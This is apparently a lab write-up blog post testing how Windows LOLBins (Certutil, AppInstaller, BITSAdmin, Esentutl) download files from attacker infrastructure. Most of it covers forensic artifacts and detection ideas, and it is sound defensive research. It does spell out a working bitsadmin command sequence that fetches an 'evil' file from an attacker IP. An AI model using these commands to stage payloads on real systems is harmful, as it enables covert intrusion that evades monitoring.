LOLBins - Download Files
While I’ve been in the industry for a while, I’ve never had the opportunity to work in an environment where commands were monitored or recorded for analysis. For most of the red team exposure I have been focused on gaining initial access using hacking tools (nmap, mimikatz, metasploit, etc) rather than persisting in an environment.
As a result of this background, there’s a bit of a gap in my knowledge around what native applications that attackers use to live off the land and persist inside of environments. I could easily read through lists of lolbins (Living Off the Land Binaries) and parrot what others have documented but I’d rather do hands-on research to learn more about how these methods work and any limitations they may have.
The intent of this post is to document what I learned as I was testing out these tools. I don’t claim to be an expert and if you notice anything I misunderstood or got flat wrong it would be stellar if you gave me a shout.
Process
For a starting point, I used the programs listed on the lolbas-project found here: https://lolbas-project.github.io My goal was to take the small amount of information listed here and dig deeper into what the command was doing and what artifacts it resulted from it. I wanted to avoid finding sites that explained how the mechanisms worked until I had experimented a bit myself.
I stood up a couple of VMs:
- Ubuntu host - Attacker infrastructure
- Windows 10 host - Compromised machine
- As I was running a few of these commands, Windows blocked them from running so I disabled all Windows protections to allow me to run them unencumbered, Would love to research more if they are still viable on full patched modern machines and how an attacker could bypass those defense mechanisms.
Scope
This specific post is focused on lolbins with the capability to covertly download files to a system.
- Certutil
- AppInstaller
- BITSAdmin
- Esentutl
Certutil
A tool built to handle information from certification authorities.
https://lolbas-project.github.io/lolbas/Binaries/Certutil/
This command was straightforward to run and pulled down a file from the Ubuntu webserver to the destination location without much of an issue.
The network traffic shows that two separate HTTP GET requests using two different user-agents “Microsoft-CryptoAPI” and “CertUtil URL Agent”.
After looking at procmon, I notice that the process was creating a file inside of a INetCache directory used for InternetExplorer cache files. After navigating to the directory, I found another copy of the file tucked away there. This could be useful if the attacker deleted the file from the original destination location. An investigator could skip over attempting to carve it from unallocated space or sift through Volume Shadow Copies and instead just grab it from this cache area.
It is important to note that these cached files do not last forever and seem to be deleted on reboot.
We see other indications that this file access was associated with more Internet Explorer. This may lead to additional artifacts in other locations.
AppInstaller.exe
https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/
The command seemed straightforward enough but it isn’t immediately clear where the downloaded file is located.
Upon execution, a couple of things happen:
- An HTTP HEAD request is made followed immediately by a GET request
These HTTP Requests do not have any user-agent associated with them
- App installer immediately attempts to load the evil.txt but returns an error stating “Invalid file format” as the reason. This wasn’t a huge concern as I didn’t actually need the file to open in AppInstaller.
Looking at procmon, we see that a file was created that looks an awful like the evil.txt that we just tried to download. Despite the fact that AppInstaller couldn’t process a txt file, it was still stored in the application’s cache.
Navigating to the cache directory in explorer reveals that my file did make the jump and still contains the original contents.
Additional Analysis
Out of curiosity, I tried to pull over a larger executable file and received a different error related to not accessing the file from the web.
While this attempted file transfer didn’t kill the process or knock the python server over, it did get a bit fussy every time this file was requested.
At this point, there could have been an issue with:
- Python Server
- File Type
- AppInstaller Application issues
My initial thought was that there was an issue with my server and I tested this by accessing the larger file via my browser without issue. This scratched the Python server off the list of suspects.
Next I tested the file size as a possible culprit and created a text file that was roughly the same size as the failed executable. The large text file also failed to download which lead me to conclude that the issue was the size of the file.
Looking at the network traffic, you can see that the TCP Window size is reduced to zero after a certain amount of data is transfered. Without doing more research I believe that the AppInstaller only has a certain buffer size/cache that it allows before resetting the connection.
This didn’t sit right with me since the typical application installation files I was used to working with are much larger than the limitation I was hitting. After a bit of digging, I found that App Install uses its own format that is basically a shell item that pulls the actual application file from a secondary location. This makes sense as to why AppInstaller isn’t capable of pulling down larger files.
bitsadmin.exe
https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/
Off the shelf, this command didn’t seem to be built correctly as I received a syntax error when attempting to run it.
After some tinkering, I figured out that these were actually 4 different commands squished together. The addfile command requires there be a source and destination location provided.
bitsadmin /create 1
bitsadmin /addfile 1 https://10.0.0.3\evil c:\Users\admin\Desktop\evil.txt
bitsadmin /resume 1
bitsadmin /complete 1
I broke these up with &&
characters to make sure they ran sequentially and it ran smoothly.
The only issue was that it ran too fast to see what was happening so I placed some timeouts between each command to slow things down.
I learned a couple of interesting things:
- A temp file (BITXXXX.tmp) is created when the
addfile
option is used to specify src/dst files for the job - The file is only downloaded once the job is resumed
The user agent for this activity is Microsoft BITS/x.x
. I’ve seen this before in network traffic but I would need more data to determine how often this shows up to see if it’s worth reviewing any BITS activity.
After doing some digging into event logs I found EventID 60 in an Operational Log that tracks URLS pulled down using bitsadmin.exe.
This could be an avenue for building detections as it lists the URL (including the filename).
- A regex pattern built to match on IP addresses would be a great start as legitimate activity should use domains.
- Based on looking at my own BITS client activity over last year, it looks like there are only a handful of domains that are regularly accessed. It would likely be easy to look across an organization using long-tail analysis to see any outliers or build a reoccurring search that excludes reoccurring trusted domains to find abnormal requests.
A few domains were prominent on my system that lead me to believe applications have fairly consistent domains to pull down information:
- edgedl.me.gvt1[.]com
- i.scdn[.]co
- msedge.b.tlu.dl.delivery.mp.microsoft[.]com
Additional Analysis
While digging around in the logs, I noticed that some of the previous BITS requests (not ran by me) failed and had associated status codes.
I converted this status code over to hex but couldn’t find it in the official documentation. 2147745801 = 0x80040009
After a bit more research this seemed to be tied to how the BITS client transfers files by starting and stopping downloads. Apparently, some web applications don’t take kindly to this type of behavior and kill the connection. https://forums.ivanti.com/s/article/The-communications-Agent-failed-to-download-a-package-The-job-is-not-making-progress-The-server-may-be-misconfigured-BITS-will-try-again-later?language=en_US
Esentutl.exe
https://lolbas-project.github.io/lolbas/Binaries/Esentutl/
This particular method requires an SMB server to transfer the files. I spent more time than I’m willing to admit trying to manually configure a Samba share that would not require authentication. After countless unhelpful forum discussions, config file tweaks, and systemd restarts I threw in the towel. In my research, I stumbled across the Impacket toolset and found that the SMB server python script worked like a charm. I’ll have to circle back around to standing up a publicly accessible samba instance at some point down the line.
I received a reprimand from Esentutl for attempting to connect to an SMB1 server, which is a fair point I guess.
Luckily impacket makes it super easy to upgrade the SMB Server to support SMB2 with a simple smb2support
option
Once we have a working SMB2 server stood up, the file transfer works smoothly and saves a copy in the specified destination.
There seem to be multiple SMB requests made during the transfer window. Looking through these packets, nothing indicates that the requests were initiated from esentutl.exe/ Further research is required to figure out if there are indicators that are less obvious.